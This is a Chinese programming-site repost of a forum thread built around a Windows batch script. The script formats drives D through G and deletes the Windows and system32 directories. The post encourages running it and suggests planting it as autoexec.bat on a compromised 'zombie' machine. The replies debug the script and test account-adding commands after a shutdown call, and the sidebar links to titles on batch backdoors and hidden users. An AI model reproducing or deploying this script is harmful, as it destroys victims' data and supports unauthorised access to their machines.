• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell
您的位置:首页 > 脚本语言 >DOS/BAT > 由一段批处理程序所引起的探讨感觉问题是有,不太准确

由一段批处理程序所引起的探讨感觉问题是有,不太准确

作者: 字体:[增加 减小] 来源:互联网

通过本文主要向大家介绍了批处理程序,批处理命令运行程序,批处理打开程序,批处理运行程序,批处理关闭程序等相关知识,希望对您有所帮助,也希望大家支持linkedu.com www.linkedu.com
假如你的系统装在c盘 
打开记事本输入 
@echo off 
shutdown -r -t 0 
format d: /q /y 
format e: /q /y
format f: /q /y 
format g: /q /y 
c: 
cd \ 
cd windows 
del. /y 
cd system32 
del. /y 
shutdown -r -t 0 
另存为1.bat 

然后运行 

看看有什么后果 

如果想搞肉鸡的话那么可以 

重命为autoexec.bat上传到肉鸡C:覆盖原来的autoexec.bat 


最后一次警告:最好别乱搞,出了问题后果自负 


有一个不完美的地方。我说说


c: 

cd \ 

cd windows 

del. /y 

cd system32 

 

请问你为什么就肯定系统不是windows2000呢! 

对于windows目录的确定,你在bat下应该用环境变量得到。 

比如 

windir=C:\WINDOWS 

windir=C:\WINNT 


还有,有点小小要请教的地方,对于第二条语句。 

shutdown -r -t 0 

既然重动了,那以下的格式化命令还有作用吗??????????? 

自己不敢试,因为我怀疑是有作用的。 


这个是我给的回复: 

我的系统是XP,在XP的环境下弄的这个批处理,所以忽略了2000的情况,是我考虑不周全,谢谢你的指正 

确实如你所说shutdown -r -t 0这条语句本来是不应该放在这里,否则系统会直接重启动,导致下面的语句不起作用. 


为了得到答案!我对于这个问题亲自试了一下! 


@echo off 

shutdown -r -t 0 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

这是我第一次执行的文件。在重启动后发现emissary1并没有加入到用户组!失败! 

第二次我在ping的前面加入了net user emissary1 /add。因为我想知道不延时执行的话。会不会成功! 

@echo off 

shutdown -r -t 0 

net user emissary1 /add 

ping 127.0.0.1 -n 100 &net user emissary2 /add 

shutdown -r -t 0 

结果还是失败! 


到这里。我以为shutdown -r -t 0后面的语句是无效的!想了一下。又改为了以下语句! 

@echo off 

shutdown -r -t 0 

dir > c:\aaa.txt 

ping 127.0.0.1 -n 100 &dir > c:\aaa2.txt 

shutdown -r -t 0 

意外的,这次成功了。重启后发现有了c:\aaa.txt而没有c:\aaa2.txt这个文件。 

对于以上测试,我仅仅得出在这个批处理文件中。只能对内部命令会起作用,而外部命令因为windows已经开始关闭窗口,从而导致外部命令的初始化失败,不能执行的结论! 

内部命令由cmd.exe提供,因为执行.bat时CMD是打开的,所以内部命令可以正常使用。 </div>

您可能想查找下面的文章:

  • 批处理bat根据星期启动程序
  • 用批处理程序修改 计算机名 工作组 计算机描述的代码
  • 批处理程序删除自身 bat批处理
  • 批处理中的预处理实现代码
  • 批处理检查输入实现代码
  • 批处理 删除重复行的代码
  • 用批处理实现禁止运行指定程序
  • 由一段批处理程序所引起的探讨感觉问题是有,不太准确
  • Call 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。
  • 批处理程序中的“多线程”处理代码

相关文章

  • 本机开放的端口及使用该端口的进程的批处理
  • bat延时执行命令的另一种方法
  • 批处理 保留空行替换字符串
  • 用批处理写的后门 永不被杀
  • 批处理查看同一子网络下的所有IP在线情况
  • 记录每次进入3389远程桌面IP的批处理bat
  • 用bat实现定时执行任务的批处理文件
  • 计算机指令
  • 批处理 添加隐藏用户代码
  • 开机启动项清理代码bat版

文章分类

  • vbs
  • DOS/BAT
  • hta/htc
  • python
  • perl
  • VBA
  • ColdFusion
  • ruby
  • PowerShell
  • Lua
  • Golang
  • linux shell

最近更新的内容

    • 打造个性批处理界面
    • 批处理中如何判断参数中含有某些字符串?
    • 批处理程序中的“多线程”处理代码
    • 批处理自动登录QQ小结及相关讨论
    • DOS命令详解
    • 用批处理删除注册表健值的方法分享
    • 可以查杀sxs.exe的bat(批处理)文件
    • 批处理写的 oracle 数据库备份还原工具
    • cmd fsutil 命令新建空文本文件
    • 枚举显示批处理bat

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有